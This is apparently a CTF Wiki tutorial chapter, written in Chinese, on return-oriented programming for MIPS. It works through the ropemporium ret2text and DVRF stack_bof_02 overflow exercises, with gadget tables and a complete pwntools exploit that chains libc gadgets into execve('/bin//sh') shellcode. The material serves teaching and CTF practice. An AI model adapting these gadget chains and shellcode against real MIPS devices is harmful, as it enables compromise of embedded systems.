mips - ROP¶
介紹 ¶
本章目前只打算介紹 mips 下的 rop,其他漏洞的利用以後會逐漸介紹
預備知識 ¶
架構回顧見: https://ctf-wiki.github.io/ctf-wiki/assembly/mips/readme-zh/ 棧結構如圖: 有幾個特殊的地方需要注意
- MIPS32 架構中是沒有 EBP 寄存器的,程序函數調用的時候是將當前棧指針向下移動 n 比特到該函數的 stack frame 存儲組空間,函數返回的時候再加上偏移量恢復棧
- 傳參過程中,前四個參數a0−a3,多餘的會保存在調用函數的預留的棧頂空間內
- MIPS 調用函數時會把函數的返回地址直接存入 $RA 寄存器
簡單環境適配 ¶
我們目前以用戶態的形式調試程序, 所以需要安裝 且,qemu-user 等依賴
$ sudo apt install qemu-user
$ sudo apt install libc6-mipsel-cross
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel
題目 ¶
1 ropemporium ret2text¶
跟到 pwnme 函數裏 我們可以看到函數一開始,將 ra 寄存器的值,放入 $sp+60 的位置裏。即返回地址位於 $sp+60
在看該函數裏的 read, a2 爲讀取的 size 大小,將被賦值爲 0x38,buf 爲位於 $sp + 0x18 的位置,明顯的一個棧溢出漏洞,且能覆蓋返回地址。 通過計算,可以計算出 padding 爲 36
60 - 0x18 = 36

pay = 'A'*36 + p32(ret2win_addr)

2 DVRF stack_bof_02.c¶
題目源碼如下
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
//Simple BoF by b1ack0wl for E1550
//Shellcode is Required
int main(int argc, char **argv[]){
char buf[500] ="\0";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
}
printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n");
strcpy(buf, argv[1]);
printf("You entered %s \r\n", buf);
printf("Try Again\r\n");
return 0;
}
sudo apt-get update
sudo apt-get install binutils-mipsel-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02

程序調試
qemu-mipsel-static -g 1234 -L ./mipsel ./vuln_system PAYLOAD
-g 指定調試端口, -L 指定 lib 等文件的目錄,當程序起來之後gdb-multiarch stack_bof_02
運行如下命令,然後在 gdb 裏運行target remote 127.0.0.1:1234
即可掛上調試器控制 PC
返回地址位於 $sp+532 , buf 位於 $fp+24 即 padding 爲
pay += b'a'*508
如下圖所示,即可控制 ra 寄存器,進而控制 PC# padding :532 - 24 = 508 from pwn import * context.log_level = 'debug' pay = b'' pay += b'a'*508 pay += b'b'*4 # with open('payload','wb') as f: # f.write(pay) p = process(['qemu-mipsel-static', '-L', './mipsel', '-g', '1234','./stack_bof_02', pay]) # p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02']) pause() p.interactive()
查找使用的 gadget 完成 ret2shellcode 由於程序沒有開啓 PIE 等 保護,所以我們可以直接在棧上注入 shellcode,然後控制 PC 跳轉到棧上
找 gadget 我們可以使用 mipsrop.py 這個 ida 插件進行。
由於 mips 流水指令集的特點,存在 cache incoherency 的特性,需要調用 sleep 或者其他函數將數據區刷新到當前指令區中去,才能正常執行 shellcode。爲了找到更多的 gadget,以及這是一個 demo ,所有我們在 libc 裏查找
1. 調用 sleep 函數 ¶
調用 sleep 函數之前,我們需要先找到對 a0 進行設置的 gadget
Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000B9350 | li $a0,1 | jalr $s2 |
| 0x000E2660 | li $a0,1 | jalr $s2 |
| 0x00109918 | li $a0,1 | jalr $s1 |
| 0x0010E604 | li $a0,1 | jalr $s2 |
| 0x0012D650 | li $a0,1 | jalr $s0 |
| 0x0012D658 | li $a0,1 | jalr $s2 |
| 0x00034C5C | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00080100 | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00088E80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x00091134 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x00091BB0 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x000D5460 | li $a0,1 | jr 0x1C+var_s10($sp) |
| 0x000F2A80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x001251C0 | li $a0,1 | jr 0x18+var_s14($sp) |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets
例如我們這裏選擇了 0x00E2660 處的 gadget
.text:000E2660 move $t9, $s2
.text:000E2664 jalr $t9 ; sigprocmask
.text:000E2668 li $a0, 1
我們發現,這個 gadget 最後會跳到 s2 寄存器裏的值的位置,所以,我下一步需要找到能控制 s2 的寄存器
通常而言,我們這裏會使用 mipsrop 插件的 mipsrop.tail()
方法來尋找,從棧上設置寄存器的 gadget
Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001E598 | move $t9,$s2 | jr $s2 |
| 0x000F7758 | move $t9,$s1 | jr $s1 |
| 0x000F776C | move $t9,$s1 | jr $s1 |
| 0x000F7868 | move $t9,$s1 | jr $s1 |
| 0x000F787C | move $t9,$s1 | jr $s1 |
| 0x000F86D4 | move $t9,$s4 | jr $s4 |
| 0x000F8794 | move $t9,$s5 | jr $s5 |
| 0x00127E6C | move $t9,$s0 | jr $s0 |
| 0x0012A80C | move $t9,$s0 | jr $s0 |
| 0x0012A880 | move $t9,$s0 | jr $s0 |
| 0x0012F4A8 | move $t9,$a1 | jr $a1 |
| 0x0013032C | move $t9,$a1 | jr $a1 |
| 0x00130344 | move $t9,$a1 | jr $a1 |
| 0x00132C58 | move $t9,$a1 | jr $a1 |
| 0x00133888 | move $t9,$a1 | jr $a1 |
| 0x0013733C | move $t9,$a1 | jr $a1 |
| 0x00137354 | move $t9,$a1 | jr $a1 |
| 0x00137CDC | move $t9,$a1 | jr $a1 |
| 0x00137CF4 | move $t9,$a1 | jr $a1 |
| 0x00139BFC | move $t9,$s4 | jr $s4 |
----------------------------------------------------------------------------------------------------------------
Found 20 matching gadgets

這樣我們就能控制 s2 寄存器也能控制 PC,下一步就是跳到 sleep, 但是單純的跳到 sleep 是不夠的,同時我們要保證執行完 sleep 後能跳到下一個 gadget ,所以我們還需要一個既能 執行 sleep 又能控制下一個 PC 地址的 gadget 看了眼寄存器,此時 我們還能控制的還挺多,例如我這裏找 $a3 的寄存器
Python>mipsrop.find("mov $t9, $s3")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001CE80 | move $t9,$s3 | jalr $s3 |
..........
| 0x000949EC | move $t9,$s3 | jalr $s3 |
....
.text:000949EC move $t9, $s3
.text:000949F0 jalr $t9 ; uselocale
.text:000949F4 move $s0, $v0
.text:000949F8
.text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
.text:000949F8 lw $ra, 0x34($sp)
.text:000949FC move $v0, $s0
.text:00094A00 lw $s3, 0x24+var_sC($sp)
.text:00094A04 lw $s2, 0x24+var_s8($sp)
.text:00094A08 lw $s1, 0x24+var_s4($sp)
.text:00094A0C lw $s0, 0x24+var_s0($sp)
.text:00094A10 jr $ra
.text:00094A14 addiu $sp, 0x38
2. jmp shellcode¶
下一步就是跳到 shellcode ,要跳到 shellcode 我們先需要獲得棧地址
我們先用 Python>mipsrop.stackfinder()
獲得 如下 gadget
.text:00095B74 addiu $a1, $sp, 52
.text:00095B78 sw $zero, 24($sp)
.text:00095B7C sw $v0, 20($sp)
.text:00095B80 move $a3, $s2
.text:00095B84 move $t9, $s5
.text:00095B88 jalr $t9
Python>mipsrop.find("move $t9, $a1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000FA0A0 | move $t9,$a1 | jalr $a1 |
| 0x0012568C | move $t9,$a1 | jalr $a1 |
| 0x0012F4A8 | move $t9,$a1 | jr $a1 |
| 0x0013032C | move $t9,$a1 | jr $a1 |
| 0x00130344 | move $t9,$a1 | jr $a1 |
| 0x00132C58 | move $t9,$a1 | jr $a1 |
| 0x00133888 | move $t9,$a1 | jr $a1 |
| 0x0013733C | move $t9,$a1 | jr $a1 |
| 0x00137354 | move $t9,$a1 | jr $a1 |
| 0x00137CDC | move $t9,$a1 | jr $a1 |
| 0x00137CF4 | move $t9,$a1 | jr $a1 |
----------------------------------------------------------------------------------------------------------------
Found 11 matching gadgets
.text:0012568C move $t9, $a1
.text:00125690 move $a3, $v0
.text:00125694 move $a1, $a0
.text:00125698 jalr $t9
from pwn import *
# context.log_level = 'debug'
libc_base = 0x7f61f000
set_a0_addr = 0xE2660
#.text:000E2660 move $t9, $s2
#.text:000E2664 jalr $t9 ; sigprocmask
#.text:000E2668 li $a0, 1
set_s2_addr = 0xB2EE8
#.text:000B2EE8 lw $ra, 52($sp)
#.text:000B2EF0 lw $s6, 48($sp)
#.text:000B2EF4 lw $s5, 44($sp)
#.text:000B2EF8 lw $s4, 40($sp)
#.text:000B2EFC lw $s3, 36($sp)
#.text:000B2F00 lw $s2, 32($sp)
#.text:000B2F04 lw $s1, 28($sp)
#.text:000B2F08 lw $s0, 24($sp)
#.text:000B2F0C jr $ra
jr_t9_jr_ra = 0x949EC
# .text:000949EC move $t9, $s3
# .text:000949F0 jalr $t9 ; uselocale
# .text:000949F4 move $s0, $v0
# .text:000949F8
# .text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
# .text:000949F8 lw $ra, 0x34($sp)
# .text:000949FC move $v0, $s0
# .text:00094A00 lw $s3, 0x24+var_sC($sp)
# .text:00094A04 lw $s2, 0x24+var_s8($sp)
# .text:00094A08 lw $s1, 0x24+var_s4($sp)
# .text:00094A0C lw $s0, 0x24+var_s0($sp)
# .text:00094A10 jr $ra
addiu_a1_sp = 0x95B74
# .text:00095B74 addiu $a1, $sp, 52
# .text:00095B78 sw $zero, 24($sp)
# .text:00095B7C sw $v0, 20($sp)
# .text:00095B80 move $a3, $s2
# .text:00095B84 move $t9, $s5
# .text:00095B88 jalr $t9
jr_a1 = 0x12568C
# .text:0012568C move $t9, $a1
# .text:00125690 move $a3, $v0
# .text:00125694 move $a1, $a0
# .text:00125698 jalr $t9
sleep = 0xB8FC0
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404
pay = b''
pay += b'a'*508
pay += p32(set_s2_addr+libc_base)
pay += b'b'*24
pay += b'1111' #s0
pay += b'2222' #s1
pay += p32(jr_t9_jr_ra+libc_base) #s2 - > set a0
pay += p32(sleep+libc_base) #s3
pay += b'5555' #s4
pay += p32(jr_a1+libc_base) #s5
pay += b'7777' #s6
pay += p32(set_a0_addr+libc_base)
pay += b'c'*0x34
pay += p32(addiu_a1_sp+libc_base)
pay += b'd'*52
pay += shellcode
log.info(hex(0x94A10+libc_base))
log.info('addiu_a0_sp_24: {}'.format(hex(addiu_a1_sp+libc_base)))
with open('payload','wb') as f:
f.write(pay)
# p = process(['qemu-mipsel-static', '-L', './mipsel', '-g', '1234','./stack_bof_02', pay])
p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02',pay])
pause()
p.interactive()